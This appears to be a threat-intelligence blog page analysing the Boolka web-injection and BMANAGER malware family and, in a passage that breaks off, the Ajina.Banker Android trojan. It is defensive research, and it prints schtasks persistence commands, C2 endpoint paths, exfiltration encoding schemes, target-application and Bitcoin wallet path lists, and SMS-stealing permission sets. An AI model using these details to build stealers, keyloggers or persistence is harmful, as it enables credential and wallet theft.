In January 2024 Group-IB detected a new ShadowSyndicate server with IP address 45.182.189[.]109 by SSH fingerprint 1ca4cbac895fc3bd12417b77fc6ed31d. This server was used to host a website with domain name updatebrower[.]com. Further analysis showed that this website serves a modified version of Django admin page with injected script loaded from hXXps://beef[.]beonlineboo[.]com/hook.js.

The SSH key was mentioned in Group-IB blogpost. Based on that, an assumption was made that ShadowSyndicate is a RaaS affiliate that uses various types of ransomware, which is the most plausible case.

However, the information obtained during this research decreased the chance of this assumption being correct. We will continue to monitor InfraStorm assets to clarify the attribution. At the moment it looks like the aforementioned SSH belongs to some bulletproof hosting provider or VPN.

Web attacks

Threat actor Boolka started his activities in 2022 by infecting websites with malicious form stealing JavaScript script. The threat actor injected the following script tag into HTML code of websites (Picture 1).Boolka malware Injected script tag

Picture 1: Injected script tag

When a user visits the infected website, the script will be downloaded and executed. During execution it performs two main actions.

First, it sends a request to the threat actor’s server to notify it that the script was executed. It utilizes HTTP GET parameters with “document.location.hostname” returning the hostname of the infected website; and the current URL being Base64-encoded (Picture 2).

Boolka malware Sending a beacon to C2

Picture 2: Sending a beacon to C2

Second, it collects and exfiltrates user input from infected website (Picture 3)Boolka malware Data collection and exfiltration

Picture 3: Data collection and exfiltration

The Boolka formstealing JavaScript script actively monitors user interactions, capturing and encoding input data from forms into session storage when form elements like inputs, selects, and buttons are changed or clicked. It sends all stored session data (collected form values) encoded in Base64 format back to the threat actor’s server. This behavior suggests that the script is designed for data exfiltration, potentially capturing sensitive user inputs such as passwords and usernames.

Since at least November 24th 2023, the payload loaded by the script tag was updated. Let’s compare two snippets used by Boolka before and after this update: https://urlscan.io/responses/420d8d83d5b98d959f7c62c2043b0cc2511385d4cab722b23ef4b39da5147bfc/, https://urlscan.io/responses/e6bc4f2ca5bf36fae278cbbc12bbacc12f475cd92f194a79c24afe384af3e6e7/.  The updated version of this malicious script includes several modifications. Notably, it now checks for the presence of a specific div element with the ID “hookwork” on the page (Picture 4). If this div is not found, it creates one and sets it to be hidden.Boolka malware Snippet for creating div element

Picture 4: Snippet for creating div element

The code now includes additional checks within the cbClickButton function to exclude certain sessionStorage properties (key, getItem, setItem, removeItem, clear) from being sent to the server (Picture 5).Boolka malware Updated collection and exfiltration code

Picture 5: Updated collection and exfiltration code

The event listeners for user interactions with input fields, buttons, and select elements remain, capturing user input and sending it to the remote server.

The IP addresses of servers hosting the Boolka infrastructure were reported for multiple SQL injection attempts. The number and locations of reporters allow us to speculate that these attacks were opportunistic since there was no particular pattern in regions attacked by threat actor. Based on this information we can infer that the infection of compromised websites was the result of exploitation of vulnerabilities detected during this opportunistic vulnerability scanning.

Example SQL Injection payload used by attacker:

Malware delivery

The landing page updatebrower[.]com (Picture 6) detected in January 2024 was a test run of a malware delivery platform created by Boolka. This platform was based on open source tool BeEF (The Browser Exploitation Framework). In addition to the use of the obvious subdomain “beef” and default BeEF filename “hook.js” VirusTotal also detected and saved default hook.js version.Screenshot of first detected test landing page created by Boolka

Picture 6: Screenshot of first detected test landing page created by Boolka

In total threat actor created 3 domain names for landing pages but used only one of them:

  • updatebrower.com
  • 1-update-soft.com
  • update-brower.com

In March 2024, Group-IB Threat Intelligence analysts detected the first use of Boolka’s malware delivery platform in the wild. While there are multiple overlaps between the list of websites infected with Boolka’s formstealing JS and Boolka’s BeEF payload, we can assume that during this campaign the threat actor used the same approach for website infection that he tested during early stages of his activities.

In analyzed cases BeEF-based malware delivery platform created by Boolka was used to distribute a downloader for the BMANAGER trojan.

Boolka malware delivery platform

Malware

Different malware samples were discovered during analysis. Infection starts with the BMANAGER dropper which will attempt to download the BMANAGER malware from a hard-coded URL.

The following malware samples have been discovered as being used by Boolka.

  • BMANAGER downloader
    • Downloader
  • BMANAGER
    • Downloader
  • BMREADER
    • Data exfiltration
  • BMLOG
    • Keylogger
  • BMHOOK
    • Records which applications are running and have keyboard focus
  • BMBACKUP
    • File stealer

All samples found thus far have been created with PyInstaller. The Python scripts used rely on Python 3.11.

Boolka malware killchain

BMANAGER downloader

The BMANAGER downloader attempts to download, configure persistence for, and execute the BMANAGER malware.

It downloads the BMANAGER from a URL hard-coded into the dropper using a HTTP(S) GET request.

The response to this request is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the BMANAGER executable file.

By default it drops the BMANAGER malware at: C:\Program Files\Full Browser Manager\1.0.0\bmanager.exe

BMANAGER persistence & execution

Persistence is achieved via Windows tasks. This starts the BMANAGER malware when the user logs into Windows.

schtasks /create /sc onlogon /tn bmanager  /tr "'C:\\Program Files\\Full 
Browser Manager\\1.0.0\\bmanager.exe'" /it /rl HIGHEST

The task is executed immediately after creation.

schtasks /run /tn bmanager

These values are hard-coded into the downloader.

BMANAGER

BMANAGER is capable of downloading files from a hard-coded C2, creating startup tasks, deleting startup tasks, and running executables.

Features

  • Download executables from a hard-coded C2 address
  • Create Windows tasks to allow executables to run on login
  • Create Windows tasks to run executables
  • Delete Windows tasks

Windows tasks & persistence

Persistence is achieved by creating Windows tasks. Individual malware samples do not have the capability to achieve persistence. This is done for them by the BMANAGER malware. The BMANAGER malware will execute the following command to achieve persistence:

schtasks /create /sc onlogon /tn {task_name}  /tr 
"'{path_to_executable}.exe'" /it /rl HIGHEST

With task_name being replaced by a name for the task as defined by the C2. And path_to_executable being replaced with the path to and name of the executable to configure the persistence for.

C2 communication

The malware communicates with the C2 via HTTP(S) GET requests.

Register client

On startup the malware will send messages to the C2 to register it using a GUID randomly generated by the malware. This GUID is stored in a local SQL database.

The initial C2 this request is sent to is hard-coded into the sample.

  1. /client?guid={guid}
    1. Expects a string “success” to be returned.
  2. /getmainnodes?guid={guid}
    1. Expects a list of potential C2s to be returned.
  3. /
    1. This request is sent to each C2 in the received list to determine response time.
    2. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Request is executed for each C2 in the returned list.
    2. Expects a string “success” to be returned.
    3. If “success” is returned the C2 is selected as the active C2 and it stops going through the list of C2s.

The list of C2s is stored in a locally kept SQL database. The active C2 is marked as such in this SQL database.

Get target applications

Next the malware will attempt to retrieve a list of applications which are targets. This request is made to the active C2.

  • /getprogramms?guid={guid}

The response is a single string containing comma separated executable names.

opera.exe,msedge.exe,chrome.exe,firefox.exe,HxOutlook.exe,HxAccounts.exe,EXCEL.EXE,SearchApp.exe,WindowsTerminal.exe,TextInputHost.exe,ShellExperienceHost.exe,ScreenClippingHost.exe,WhatsApp.exe,Spotify.exe,Steam.exe,steamwebhelper.exe,Viber.exe,msedgewebview2.exe,AcWebBrowser.exe,Notepad.exe,Acrobat.exe,1Password.exe,AvastBrowser.exe,EpicGamesLauncher.exe,WinStore.App.exe,old_chrome.exe,mstsc.exe,wpscenter.exe,wpscloudsvr.exe,AutodeskDesktopApp.exe,TeamViewer.exe,Notion.exe,old_msedge.exe,thunderbird.exe,OUTLOOK.EXE,WINWORD.EXE,Tresorit.exe,fsbanking.exe,iCloudPasswords.exe,ooliveupdate.exe,opera_gx_splash.exe,888poker_installer.exe,888poker.exe,PokerStars.exe,PokerStarsBr.exe,poker.exe,FirstLogonAnim.exe

Response of C2 during time of analysis (29/02/2024)

This list of applications is stored in the local SQL database. The information can then be used by other modules to determine what applications to target.

Get additional malware

Last but not least the malware will attempt to retrieve additional executables from the active C2. These executables have thus far always been other malware samples. These samples are:

  • BMREADER
    • Data exfiltration module
  • BMLOG
    • Keylogger module
  • BMHOOK
    • Windows hooking module
  • BMBACKUP
    • File stealer module

It will send a GET request to the C2 to retrieve the applications to download and install.

  • /getinstall?guid={guid}
hxxps://updatebrower[.]com/download/bmbackup.txt;bmbackup;C:\Program Files\Full Browser Manager\1.0.0\bmbackup.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmhook.txt;bmhook;C:\Program Files\Full Browser Manager\1.0.0\bmhook.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmlog.txt;bmlog;C:\Program Files\Full Browser Manager\1.0.0\bmlog.exe;1;v 1.0.0
hxxps://updatebrower[.]com/download/bmreader.txt;bmreader;C:\Program Files\Full Browser Manager\1.0.0\bmreader.exe;1;v 1.0.0

Response of C2 during the time of analysis (29/02/2024).

These strings consist of parameters used by the BMANAGER malware. These parameters are separated using the semicolon (;) character. The parameters are as follows:

  • Download URL
    • The URL from where to download the executable.
  • Windows task name
    • The name of the Windows task to create/run/delete.
  • Executable dump path
    • Where the downloaded executable is dumped on the victim device.
  • Function
    • Whether to create a new Windows task for the executable, to run an existing Windows task, to create and run a Windows task, or to delete an existing Windows task.
    • Possible values:
      • 1
        • Create new Windows task (which is set to start on login)
        • This will download the executable.
      • 2
        • Delete an existing Windows task
      • 3
        • Create a new Windows task (which is set to start on login) and run it immediately
        • This will download the executable.
      • 4
        • Run an existing Windows task
      • 5
        • Stop a currently running Windows task
        • This will also delete the executable.
  • Version
    • A string value. This value is used to distinguish between versions of the malware.

To download an executable the malware sends a GET request to the given URL. The response is a list of Base64 encoded strings. These strings are decoded, ZLIB decompressed, and appended to the final executable file.

A new Windows task is created for this executable to start on login, and optionally the executable is started immediately.

After all applications have been downloaded, and all tasks have been performed, a message is sent back to the C2.

  • /install?guid={guid}&name={version}

The version being the version string found in the C2 response.

BMREADER

The BMREADER malware sends stolen data stored in the local SQL database to the active C2.

Features

  • Exfiltrates data stored in the local SQL database

C2 communication

Communication with the C2 is done via HTTP(S) GET requests.

Register with C2

On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.

  1. /getnodes?guid={guid}&type=2
    1. Expects a list of C2s as response.
  2. /usednodes?guid={guid}&t=0&node={resultnode}
    1. resultnode is set to the initial C2 address.
    2. Only called if 1 did not return a list of C2s.
    3. Expects a list of C2s as response.
  3. /
    1. Called for every C2 in the list.
    2. Measures response time of C2s.
    3. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Called for every C2 in the list.
    2. Expects string “success”.
    3. If “success” is returned it will stop going through the list of C2s.
  5. /usednodes?guid={guid}&t=0&node={resultnode}
    1. resultnode is set to the C2 the malware has chosen to connect to.
    2. Sent to the initial C2.
    3. If no C2 returns “success”, the initial C2 is used.

Sending stolen inputs

One of the values stored in the local SQL database that is exfiltrated by the BMREADER is a list of keyboard inputs. These keyboard inputs have been obtained by the BMLOG (keylogger) malware.

The following GET request is made to the connected C2.

  • /clientdata?guid={guid}&programm={programm}&title={titleencode}&vars={resultencode}
    • guid being the GUID retrieved from the local SQL database
    • programm being the path of the application from which the keys were logged
    • titleencode being a ZLIB compressed and Base64 encoded string that is the window title from which the keys were logged
    • resultencode being a ZLIB compressed and Base64 encoded string that is a combination of a number of values.

The “resultencode” string is created as follows:

  • “eventid={eventid}|||recid={recid}|||data={data}|||”
    • eventid being the ID of the event that triggered the keylogging
    • recid being the ID of the keylogging.
    • data being the actual string of inputs stolen from the victim.

The logged keys sent are then removed from the local SQL database.

Sending known applications

Another value stored in the local SQL database, and sent to the C2 by the malware, are applications found to be running on the victim device. These applications are collected by the BMHOOK malware.

A GET request is made to the C2:

  • /clientprogramm?guid={guid}&vars={resultencode}
    • guid being the random GUID obtained from the local SQL database.
    • resultencode being a ZLIB compressed and Base64 encoded string consisting of all programs stored in the local SQL database

When the response to this request is a string value of “success” the SQL database is updated. This update sets all applications as having been sent. This prevents entries from being sent twice.

BMLOG

The BMLOG malware is a keylogger. It stores logged keys in a local SQL database.

It performs the keylogging using the Python keyboard module.

Due to the keyboard module logging keys globally, not per window, it uses the BMHOOK malware to record which window currently has keyboard focus.

It will only log keys for applications that have been set as targets. These targets are received by the BMANAGER malware from the C2 and stored in the local SQL database. The BMLOG malware reads these targets from that same database.

Features

  • Record keyboard inputs

Storing logged keys

Instead of sending logged keys to a C2 it stores them in a local SQL database.

The keylogger will continually log keys until either:

  1. 60 seconds of logging have passed
  2. A different window gains keyboard focus

If either of these events occurs all inputs are stored as a single string in the local SQL database. After storage the keylogger will begin logging again.

The inputs are translated as follows:

  • For inputs a single character long (a, b, 1, 2, etc.) they are put in the string as is.
  • For space inputs a whitespace is appended to the string.
  • For tab inputs a “\t” character is appended to the string.
  • For other inputs the input is capitalized and placed between square brackets before being appended to the string.

Additional values stored alongside the input string are:

  • The event ID
  • The amount of recordings made for the logged application
  • The path to the logged application
  • The title of the window being keylogged
  • 0 value to indicate the information has not yet been sent to the C2

The BMREADER application sends the logged keys to the C2.

BMHOOK

The BMHOOK malware uses Windows hooks to discover which applications are running on a victim device and which window/application has keyboard focus.

This sample stands out in its implementation in that it uses CPython and Windows APIs to install Windows hooks. This makes the sample function only on Windows.

Features

  • Install a Windows hook to trigger on a window receiving keyboard focus

Windows hooks

The BMHOOK malware uses the SetWinEventHook function to install a Windows hook. This hook is configured to trigger on win32con.EVENT_OBJECT_FOCUS events. This type of event occurs when a window receives keyboard focus.

The following actions occur when this event is triggered:

  • Use GetWindowTextW to retrieve the title of the hooked window.
  • Obtain the full path of the executable the window belongs to.
  • Insert these two values, and a unique ID value, into the local SQL database.
  • Insert the path to the application into the local SQL database, if it does not exist there already.

The BMREADER malware uses the information stored in the local SQL database to send to the C2. The BMLOG malware uses the information to determine which window/application is being keylogged.

BMBACKUP

The BMBACKUP malware is a file stealer. It checks for specific files retrieved from a C2. If it finds the files it will read them and send them to the C2.

Features

  • Retrieve paths of files to steal from C2
  • Exfiltrate stolen files to C2

C2 communication

Communication with the C2 occurs via HTTP(S) GET requests.

Register with C2

On start-up the malware will retrieve a C2 to use for further communication. To make the first request the initial C2 that is used is set to the active C2 in the local SQL database.

  1. /getnodes?guid={guid}&type=2
    1. Expects a list of C2s as response.
  2. /usednodes?guid={guid}&t=0&node={resultnode}
    1. Only called if 1 did not return a list of C2s.
    2. Expects a list of C2s as response.
  3. /
    1. Called for every C2 in the list.
    2. Measures response time of C2s.
    3. List of C2s is sorted based on response time from low to high.
  4. /client?guid={guid}
    1. Called for every C2 in the list.
    2. Expects string “success”.
    3. If “success” is returned it will stop going through the list of C2s.
  5. /usednodes?guid={guid}&t=0&node={resultnode}
    1. Sent to the initial used for the first request.
    2. resultnode is set to the C2 the malware has chosen to connect to.
    3. If no C2 returns “success”, the initial C2 is used.

Get target files

The malware sends a request to the C2 every 60 seconds to retrieve a list of files to exfiltrate.

  • /getpaths?guid={guid}

The response consists of a list of strings. Each being an absolute path to a file to exfiltrate.

C:\*\*\AppData\Roaming\Bitcoin\wallets\*\wallet.dat
C:\*\*\AppData\Roaming\Bitcoin\wallets\wallet.dat

Response from C2 during the time of analysis (29/02/2024).

After making this request it will check each of these files whether they exist or not. If a file is found to exist the exfiltration process is initiated.

Exfiltrating files

The malware will go through the list of files to exfiltrate and check if they exist. When a file exists it will begin the exfiltration process.

  1. A copy of the target file is made with a randomized name. This randomized name is a random UUID value ending with “.tmp”. This copy is placed in the users temporary directory (C:\Users\*\AppData\Local\Temp).
  2. The copy file is read in 16384 byte chunks. Each of these chunks is sent to the C2 via a GET request.
    1. /clientfiledata?guid={guid}&vars={resultencode}
    2. resultencode being a Base64 encoded string containing the byte data.

resultencode is created in the following manner:

  • Up to 16384 bytes are read from the target backup file and converted to a hexadecimal string
  • The info string is created
    • “partid={partid}|||partcount={partcount}|||hex={hex}|||fn={file}|||
      • partid is which chunk of the file this object is
      • partcount are the total amount of chunks the file consists of
      • hex are the bytes read from the file
      • file is the path and name of the original file (not the path and name of the backup file)
  • This info string is ZLIB compressed, Base64 encoded, and then made URL safe
  • This is the final resultencode object that is sent as a URL parameter

SQL database

Most samples make use of a local SQL database. The path and name of this database is hard-coded in the samples to be located at: C:\Users\{user}\AppData\Local\Temp\coollog.db, with user being the username of the logged in user.

The following is a map of the SQL database. This map contains all tables and fields used by the different malware samples. Do note that the tables are created by each sample as they use them. Thus if certain samples are not present on a device, these tables may not be present.

a map of the SQL database Boolka malware

Tables

  • clientguid
    • Contains the randomly generated GUID used to identify the sample to the C2.
    • Created by BMANAGER
  • mainnodes
    • Contains a list of C2s, in particular the currently active C2.
    • Created by BMANAGER
  • log
    • Contains the keylogger data.
    • Created by BMLOG
  • event
    • Contains which applications/windows have/had keyboard focus.
    • Created by BMHOOK
  • allprogramm
    • Contains a list of applications whose window has received keyboard focus at one point.
    • Created by BMHOOK
  • programms
    • Contains a list of all applications that are to be targeted by other modules.
    • Created by BMANAGER
  • files
    • Contains a list of files that need to be exfiltrated to the C2.
    • Created by BMBACKUP

Signing certificate

BMANAGER 2f10a81bc5a1aad7230cec197af987d00e5008edca205141ac74bc6219ea1802 is signed with a valid certificate by ООО ТАСК:

Boolka Signing certificate

Serial number 75 69 94 1C 66 2A AD 5F E9 50 11 B1

According to its metadata the signer is i.shadrin@tacke.ru.

According to the company’s website they develop software, however there are few suspicious things:

  • The locale shown on the map differs from the address, which points to the town of Dmitrov in Moscow, Russia.
  • all buttons show static info which doesn’t correlate with their description

Based on public information the company consists of 4 people, and their CEO also runs 5 other small companies.

These facts lead to three different versions:

  • the certificate doesn’t belong to OOO ТАСК, and it was bought by a fraudster providing fake data to GlobalSign
  • the certificate was stolen from OOO ТАСК, which means that either infrastructure of ООО ТАСК was compromised or email i.shadrin@tacke.ru got compromised
  • ООО ТАСК or it’s employees anyhow involved into fraudulent operations

We can not confirm any of these versions. However we checked domain tacke.ru in the stealer logs cloud and didn’t find any occurrence.

Conclusion

The discovery of the Boolka’s activities sheds light on the evolving landscape of cyber threats. Starting from opportunistic SQL injection attacks in 2022 to the development of his own malware delivery platform and trojans like BMANAGER, Boolka’s operations demonstrate the group’s tactics have grown more sophisticated over time. The injection of malicious JavaScript snippets into vulnerable websites for data exfiltration, and then the use of the BeEF framework for malware delivery, reflects the step-by-step development of the attacker’s competencies.

The analysis reveals the complexity of the malware ecosystem employed by Boolka, with various components such as formstealing scripts, keyloggers, and file stealers orchestrated to achieve malicious objectives. Additionally, the investigation into the signing certificate used by the BMANAGER malware underscores the challenges in attribution and the potential involvement of legitimate entities in illicit activities.

Recommendations

Recommendations for end users:

  • Avoid clicking on suspicious links or downloading files from unknown sources.
  • Download apps and updates only from official sources.
  • Ensure that your operating systems, browsers, and all software are regularly updated.
  • Employ strong, unique passwords for different accounts and use a reputable password manager to keep track of them.
  • Enhance security by enabling multi-factor authentication (MFA) on your accounts wherever possible.
  • Ensure you have reliable and up-to-date security measures like anti-virus software in place to detect and remove threats.

Recommendations for website owners:

  • Conduct frequent security audits and vulnerability assessments to identify and fix potential weaknesses. Group-IB’s Penetration Testing services can help you minimize your susceptibility to web attacks. Our experts work with the latest methods and techniques curated by Group-IB Threat Intelligence to pinpoint assets vulnerable to web injection attacks, and more.
  • Use robust authentication protocols and require strong passwords for all users, along with multi-factor authentication.
  • Ensure all software, including plugins and content management systems, are updated with the latest security patches.
  • Deploy a WAF to monitor and filter malicious traffic targeting your web applications.
  • For advanced cybersecurity teams, we recommend using Group-IB’s Threat Intelligence system, which can be used to detect relevant threats as early as during their preparation stage. The built-in graph analysis tool enriched by data from the largest threat-actor database reveals links between attackers, their infrastructures, and their tools. Enriching cybersecurity with threat intelligence helps significantly strengthen an organization’s ability to counter attacks, including ones carried out by state-sponsored groups.
  • Provide regular training for your staff on the latest security practices and threat awareness.
  • Set up continuous website monitoring for suspicious activities and have an incident response plan ready in case of a breach.
Posted in Cyber Attacks, ExploitsTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Scam, Spyware, vulnerabilityLeave a comment

Ajina attacks Central Asia: Story of an Uzbek Android Pandemic

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Discovered by Group-IB in May 2024, the Ajina.Banker malware is a major cyber threat in the Central Asia region, disguising itself as legitimate apps to steal banking information and intercept 2FA messages.

Introduction

In May 2024, Group-IB analysts discovered suspicious activity targeting bank customers in the Central Asia region. The threat actors have been spreading malicious Android malware designed to steal users’ personal and banking information, and potentially intercept 2FA messages. During the investigation, Group-IB discovered .APK files masquerading as legitimate applications that facilitated payments, banking, deliveries, and other daily uses. These malicious files were spread across Telegram channels.

After the initial analysis of this trojan, we discovered thousands of malicious samples. All the found samples were divided into several activity clusters, each to be separately studied and investigated in a series of articles. This article examines one of these clusters: meet the Ajina.Banker malware.

Ajina is a mythical spirit from Uzbek folklore, often depicted as a malevolent entity that embodies chaos and mischief. According to local legends, this spirit is known for its ability to shape-shift and deceive humans, leading them astray or causing them harm. We chose the name Ajina for this malware campaign because, much like the mythical spirit, the malware deceives users by masquerading as legitimate applications, leading them into a trap compromising their devices and causing significant harm.

Key Findings

  • During our research, we uncovered the ongoing malicious campaign that started from November 2023 to July 2024.
  • We found and analyzed approximately 1,400 unique samples of Android malware and identified changes between versions of the same malware.
  • The attacker has a network of affiliates motivated by financial gain, spreading Android banker malware that targets ordinary users.
  • Analysis of the file names, sample distribution methods, and other activities of the attackers suggests a cultural familiarity with the region in which they operate.
  • Analysis also shows that the evolution of this malware campaign is causing attacks to expand beyond the original region, causing more victims in other countries as well.

Threat Actor Profile

Ajina Threat Actor Profile

The starting point of the research

As part of its continuous monitoring and hunting procedures, Group-IB analysts discovered a malicious Android sample (SHA1 b04d7fa82e762ea9223fe258fcf036245b9e0e9c) that was uploaded to the VirusTotal platform from Uzbekistan via a web interface, and had an icon of a local tax authority app.Screenshot of the sample found on the VirusTotal platform

Figure 1. Screenshot of the sample found on the VirusTotal platform

Behavioral analysis has shown that the application tries to contact 109.120.135[.]42. Group-IB’s proprietary Graph Network Analysis tool reveals similar files that contacted the same server.Screenshot of graph analysis of network infrastructure of the detected server

Figure 2. Screenshot of graph analysis of network infrastructure of the detected server

Our attention was also drawn to the package when our Fraud Protection solution detected the package org.zzzz.aaa in one of our client sessions. During our investigation, we found more samples on the VirusTotal platform. Our Fraud Analysts continued researching this malware and constructed a timeline of the campaign, identifying methods of distribution and targets.Screenshot of Android Info summary with unique package name

Figure 3. Screenshot of Android Info summary with unique package name

Timeline

Ajina’s malicious campaign commenced in November 2023 and has persisted to present day. Initially the activities detected included the malware distribution through Telegram, encompassing a range of threats from malware-laden attachments to phishing attempts.

Ajina refined their tactics as the campaign progressed into February through March 2024, demonstrating heightened sophistication Social engineering techniques and the scale of the attack were increasingly leveraged to enhance the campaign’s efficiency. Based on Group-IB’s Fraud Protection system, we have plotted the following timeline of new infections.New infections timeline

Figure 4. New infections timeline

The timeline above illustrates the daily count of new infections, indicating a persistent and ongoing threat. This trend reveals that many users continually fall victim to the malware, leading to a steady increase in infections over time. The data shows that the adversary’s distribution techniques remain effective, successfully targeting new victims daily.

Malware distribution

Our analysis has revealed intensive attempts by Ajina to utilize messaging platforms, including Telegram, as a channel for disseminating malicious samples. Ajina orchestrated a widespread campaign by creating numerous Telegram accounts, leveraging these accounts to disseminate malware within regional community chats. Evidence suggests that this distribution process may have been partially automated, allowing for a more efficient and far-reaching spread of the malicious software.

To enhance their deception, Ajina crafted messages and sent links and files to lure unsuspecting users. The malware is often disguised as legitimate banking, government, or everyday utility applications, designed to exploit the trust users placed in these essential services in order to maximize infection rates and entice people to download and run the malicious file, thereby compromising their devices. This targeting method resulted in a widespread and damaging malware campaign that compromised numerous devices in the Central Asia region.

Techniques

Files with themes

To further entice potential victims, the adversary shared these malicious files in local Telegram chats, using a variety of deceptive methods. They crafted enticing giveaways and promotional messages that promised lucrative rewards, special offers, or exclusive access to sought-after services. In the following example, one of the following text messages was used for spreading files mimicking the local finance application (SHA1 5951640c2b95c6788cd6ec6ef9f66048a35d6070).Screenshot of the message with the malicious file

Figure 5.1 Screenshot of the message with the malicious fileScan results on VirusTotal platform

Figure 5.2 Scan results on VirusTotal platform

Translated from Uzbek:

arrow_drop_down

These messages were designed to create a sense of urgency and excitement, prompting users to click on the links or download the files without suspecting any malicious intent. The use of themed messages and localized promotion strategies proved to be particularly effective in regional community chats. By tailoring their approach to the interests and needs of the local population, Ajina was able to significantly increase the likelihood of successful infections.

File spamming

Further analysis of Ajina’s distribution techniques revealed instances where they spammed messages containing only a malicious file attachment devoid of any accompanying text. This approach aimed to exploit the curiosity of users who might be inclined to open an unsolicited file or open it accidentally.

These spam campaigns were conducted across multiple accounts, sometimes even simultaneously, suggesting a highly coordinated effort. The simultaneous and widespread nature of these spam messages hints at the potential use of an automated distribution tool.Screenshot of sending multiple messages

Figure 6. Screenshot of sending multiple messages

Link to Telegram channel

In addition to spamming messages with malicious attachments, Ajina also sent links to channels that hosted the malicious files, accompanied by promotional texts designed to engender trust and entice users to download the malware.

By directing users to external channels rather than sending files directly within the chat, Ajina aimed to circumvent the common security measures and restrictions imposed by many community chats. Sending files directly within a chat sometimes triggers automatic moderation and can lead to the adversary’s accounts being banned. However, by using links to external channels, they could bypass these restrictions, ensuring that their malicious content remained accessible to potential victims for a longer period of time.

This approach helped the adversary avoid detection and leveraged the trust users have in seemingly legitimate channels. Once users clicked on the link and entered the channel, they were inclined to believe that the files shared there were safe, especially when presented with convincing promotional texts. This strategy highlights the adversary’s adaptability and continuous efforts to refine their methods to evade security measures and maximize the reach of their malware campaign.Screenshot of sending a link to channel

Figure 7.1 Screenshot of sending a link to channelContent of channel

Figure 7.2 Content of channel

Link to web-resource

Some examples were found when the adversary sent links to web resources.Screenshot of a message containing a link to web-resource

Figure 8. Screenshot of a message containing a link to web-resource

Accounts

Our investigation uncovered that the adversary established multiple accounts to execute their malicious campaign effectively. These accounts were meticulously set up to blend in with regular users and evade detection for as long as possible. Below, we provide detailed information on some of the identified accounts, including their account names, usernames, and user IDs, along with the volume of messages sent from each account.

Last Seen NameINFINITOSSS MILLENNIUM—Barno Umarova—Оксана Цветкова
Last Seen Usernameinfinitosss————
User ID65719031716856449327682467852364773393337027991392
Number of messages238175765425
Last Seen NameРенатАлевтина!Эмилия!Святослав ПономаревEduard Bocan
Last Seen Username————EduardBocan
User ID64068806367119728862655612640171584818856125515928
Number of messages1648461043
Last Seen NameНикон ДементьевЭрнест ЩербаковشوكتЛукия РыбаковаНинель Мамонтова
Last Seen Username—————
User ID71333779206887020479552664303663441070606701781993
Number of messages722913
Last Seen NameJason99Linda CastanedaAlicia WillisАндреева Родригес
Last Seen Username———Andreeva_5676
User ID6553097862657421914856684188636716964266
Number of messages2131

These accounts were used to distribute the malware through various local community chats. By using multiple accounts, sometimes simultaneously, the adversary was able to increase the reach and frequency of their malicious content. The adversary’s ability to maintain and operate numerous accounts simultaneously, while consistently delivering tailored messages, suggests the possible use of automated distribution tools. These tools enabled the adversary to manage large-scale operations with precision, further amplifying the impact of their malicious campaign. This approach to account management indicates a high level of planning and coordination.

Malware analysis

Fraud Protection telemetry found 1,402 packages with package names com.example.smshandler (187 samples) and org.zzzz.aaa (1,215 samples) between 30 November 2023 and 31 July 2024 across 5,197 devices. Analyzed samples share a common code structure and subset of permissions that are requested.

The first known infection occurred at 30 November 2023 via package name com.example.smshandler (SHA1 cc6af149f1da110a570241dde6e3cfd0852cb0d8) with permission list:

[
	"android.permission.READ_PHONE_STATE",
	"android.permission.RECEIVE_BOOT_COMPLETED",
	"android.permission.RECEIVE_SMS",
	"android.permission.ACCESS_WIFI_STATE",
	"android.permission.BROADCAST_SMS",
	"android.permission.DUMP",
	"android.permission.INTERNET",
	"android.permission.READ_PHONE_NUMBERS",
	"android.permission.ACCESS_NETWORK_STATE",
	"android.permission.CALL_PHONE",
	"com.example.smshandler.DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION",
	"android.permission.READ_SMS"
]

Ajina.Banker.A

According to Fraud Protection telemetry data, the first known sample of this malware uploaded to VirusTotal is “Узбек �екс 🔞🔞🔞” (SHA1 84af2ce3a2e58cc8a70d4cc95916cbfe15f2169e). It was uploaded to the VirusTotal platform in January 2024, providing the initial glimpse into this malicious campaign.Detections at the moment of analysis

Figure 9. Detections at the moment of analysis

Once the trojan is launched it connects to the gate server 79[.]137[.]205[.]212:8080, generates AES encryption key, and sends it to the gate server along with a hard-coded worker’s name and userId that is also stored into SharedPreferences.Initialization of the trojan

Figure 10. Initialization of the trojanBase-64 encoded string sent to server

Figure 11. Base-64 encoded string sent to serverDecoded payload

Figure 12. Decoded payload

This message is base64-encoded JSON:

{
	"key": "base64-encoded AES key",
	"action": 1,
	"worker": "Ares",
	"id": "c23aaac5774d4992a8d68de5eaf28535"
}

All messages except action 1 are encrypted with AES/GCM/NoPadding cipher suite.

Further research shows that messages are JSON-encoded, but are sent via raw TCP socket, not wrapped in HTTP. The general structure of messages contains a numeric action field with action type and other fields with arbitrary data depending on the action type. For example, if something goes wrong, the trojan sends a message to the gate server with the following structure:

{
	"action": 5,
	"msg": "string representation of the occured exception"
}

From the victim’s point of view, once the trojan is initiated, it loads a background image from an external legit resource and requests the user to grant these permissions:

[
"android.permission.READ_PHONE_STATE",
"android.permission.CALL_PHONE",
"android.permission.READ_PHONE_NUMBERS",

"android.permission.RECEIVE_SMS",
"android.permission.READ_SMS"
]

The only activity in the trojan (censored)

Figure 13. The only activity in the trojan (censored)

If permissions are granted via system dialog, the trojan disables the activity thus prevents launching an application UI again from the OS launcher.

setComponentEnabledSetting(componentName, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP)

Prevention of further launching

Figure 14. Prevention of further launching

If the user grants permissions via their mobile device’s operating system settings menu, the trojan then launches an intent that activates a third-party application related to trojan’s legend:Starting a third-party activity

Figure 15. Starting a third-party activity

If permissions are not granted, the trojan sends a notification to the gate server (action 6).

When permissions are granted, the trojan collects information from the infected device and sends it to the gate server (action 3). The following is the list of information collected:

  • for each active SIM card
    • MCC+MNC codes of current registered operator
    • Name of the current registered operator
    • ISO-3166-1 alpha-2 country code equivalent of the MCC (Mobile Country Code) of the current registered operator or the cell nearby
    • ISO-3166-1 alpha-2 country code equivalent for the SIM provider’s country code
    • MCC+MNC codes of the provider of the SIM
    • Service Provider Name (SPN)
